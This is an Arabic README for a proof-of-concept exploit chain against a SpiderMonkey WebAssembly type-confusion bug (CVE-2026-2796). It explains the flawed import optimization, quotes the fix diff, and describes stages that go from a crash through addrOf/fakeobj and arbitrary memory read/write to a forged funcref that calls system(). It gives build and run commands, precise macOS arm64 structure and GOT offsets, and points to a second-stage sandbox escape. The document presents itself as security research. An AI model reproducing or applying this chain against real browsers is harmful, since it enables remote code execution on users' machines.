
سلسلة استغلال PoC لثغرة CVE-2026-2796: الهروب من بيئة عزل WebAssembly في SpiderMonkey (التباس نوع التوقيع -> قراءة/كتابة اعتباطية -> RCE)
سلسلة استغلال لإثبات المفهوم (PoC) للثغرة CVE-2026-2796، وهي سوء توليد لكود JIT / خلط أنواع (type confusion) في تحسين استيراد WebAssembly بمحرك Mozilla SpiderMonkey (مكوّن «JavaScript: WebAssembly»). وحدة wasm مصمّمة بعناية تمنح قراءة/كتابة عشوائية لكامل عملية المضيف وتنفيذ كود أصلي عشوائي، محققةً الهروب من بيئة عزل WebAssembly.
e2acef67 ("Bug 2013165 - Fix import optimization")عندما تستورد وحدة wasm دالة JavaScript، يطبّق SpiderMonkey تحسينًا في MaybeOptimizeFunctionCallBind (js/src/wasm/WasmInstance.cpp) يفكّك غلاف الاستيرادات من الصيغة Function.prototype.call.bind(fn) ويخزّن fn مباشرةً بوصفه القابل للاستدعاء (callable) الخاص بالاستيراد. غير أنه لم يتحقق مما إذا كانت القيمة المرتبطة نفسها :
+ if (boundThis.toObject().is<JSFunction>() &&
+ boundThis.toObject().as<JSFunction>().isWasm()) {
+ return nullptr;
+ }
ومع غياب هذا الفحص، يُعامَل الاستيراد باعتباره دالة wasm أصلية: يُتخطَّى غلاف JavaScript — ومعه فحص التوقيع —. وبالتالي يمكن استدعاء دالة wasm عبر نوع استيراد مُعلَن لا يطابق نوعها الحقيقي. تمر القيم عبر المسجّلات دون تغيير؛ فقط تفسيرها هو الذي يتغيّر (مثلًا، يُستخدم i64 يتحكم به المهاجم كمؤشر GC من النوع (ref $t)، والعكس بالعكس).
| الملف | المرحلة | النتيجة |
|---|---|---|
poc-crash.js | خلط التوقيع | i64.const 0xDEADBEEF يُفكَّك مرجعه كمؤشر funcref → SIGSEGV عند 0xdeadbf2f |
poc-addrof.js | addrOf + fakeobj | خلط في الاتجاهين (i64 ↔ (ref $t)) → WasmArrayObject مزيف (numElements_ عند +16، data_ عند +24، عناصر مضمّنة عند +40) → قراءة/كتابة عشوائية في أي مكان بالعملية |
poc-recon.js | استطلاع التخطيط | مؤشر JSFunction الأصلي عند +0x20 → تسريب قاعدة الثنائي؛ مؤشر typeDef لكائن WasmFuncRef عند +0x40 |
poc-forge.js | تدفق التحكم | funcref مزوّر يجتاز فحص نوع call_ref؛ يُحمَّل هدف الاستدعاء من [funcref+0x38] |
poc-rce.js | تنفيذ الكود | funcref مزوّر → system("touch /tmp/CVE-2026-2796-PWNED") عبر system() المسرَّبة (قاعدة الثنائي + إدخال GOT عند base+0x11d47b0) |
تُحصَل بدائية الخلط (confusion primitive) تمامًا كما في اختبار الانحدار الخاص بـ Mozilla نفسه (js/src/jit-test/tests/wasm/regress/bug2013165.js): استيراد Function.prototype.call.bind(wasmExport) في وحدة ثانية يحمل إعلان استيرادها توقيعًا مختلفًا، ثم استخدام ref.func + call_ref.
# Firefox source @ 2fbc0748c460b38fc95407a3f14c41d12fb12026 (2026-01-14,
# Firefox 148 nightly — predates the fix). Any pre-148 revision works.
cd js/src
../../configure --enable-debug --enable-optimize --without-intl-api \
--enable-project=js # objdir e.g. js/src/_obj
cd _obj && make -j8
# binary: dist/bin/js (reports "JavaScript-C149.0a1")
JS=/path/to/dist/bin/js
$JS poc/poc-crash.js # SIGSEGV at 0xdeadbf2f
$JS poc/poc-addrof.js # prints [+] arbitrary read OK / write OK
$JS poc/poc-recon.js # dumps JSFunction / WasmFuncRef memory
$JS poc/poc-forge.js # crashes with PC = planted canary
rm -f /tmp/CVE-2026-2796-PWNED
$JS poc/poc-rce.js # creates /tmp/CVE-2026-2796-PWNED via system()
على بناء مُرقَّع (Firefox ≥ 148)، يرمي poc-crash.js بدلًا من ذلك الخطأ TypeError: bad type — أي أن فحص التوقيع أصبح مُستعادًا.
الإزاحات مخصّصة لـ macOS arm64 (صدفة js، بنفس هذه المراجعة وخيارات البناء بالضبط): WasmArrayObject { +16 numElements، +24 data_، +40 بيانات مضمّنة }، JSFunction الأصلي عند +0x20، وWasmFuncRef { +0x40 typeDef، +0x38 هدف الاستدعاء }. وهي مُتحقَّق منها تجريبيًا وقت التشغيل عبر الاختبارات الذاتية لسلاسل الاستغلال (PoCs)؛ أما البنيات/المعماريات الأخرى فتتطلب اشتقاقًا جديدًا (يؤتمت PoC الاستطلاعي معظم ذلك). لا يوجد PAC على ثنائيات arm64 (غير arm64e)؛ مناطق JIT غير قابلة للكتابة وقت الاستدعاء، لذلك تختطف السلسلة هدف استدعاء موجودًا بدلًا من حقن الكود.
انظر docs/full-escape.md لتحليل المرحلة الثانية: الهروب من بيئة عزل نظام التشغيل انطلاقًا من تنفيذ كود في عملية العرض عبر CVE-2026-2768 (Bug 2014101، كتابة خارج الحدود OOB في IndexedDB داخل عملية الأب) — «الثغرة الثانية» في اختراق كامل لمتصفح Firefox. الشجرة الهشّة المستخدمة هنا تسبق هذا الإصلاح أيضًا.
تُتيح هذه السلسلة الهروب من بيئة عزل محرك wasm (حصر الذاكرة الخطية / أداة جمع القمامة GC) وتُنتج تنفيذ كود أصلي داخل العملية الحالية. في هجوم متصفح حقيقي، يقع هذا التنفيذ داخل عملية المحتوى في Firefox؛ أما الهروب من بيئة عزل نظام التشغيل («الثغرة الثانية»: خلط في IPC أو استغلال للنواة) فهو مشكلة منفصلة وليست جزءًا من هذا الـ PoC.
javascript.options.wasm=false يحجب ناقل الاستغلال.لأغراض البحث الأمني والتعليم والاختبار الدفاعي فقط. الثغرة مُصلَحة في إصدارات Firefox/Thunderbird الحالية. لا تستخدمها ضد أنظمة لا تملكها أو ليس لديك تفويض صريح لاختبارها.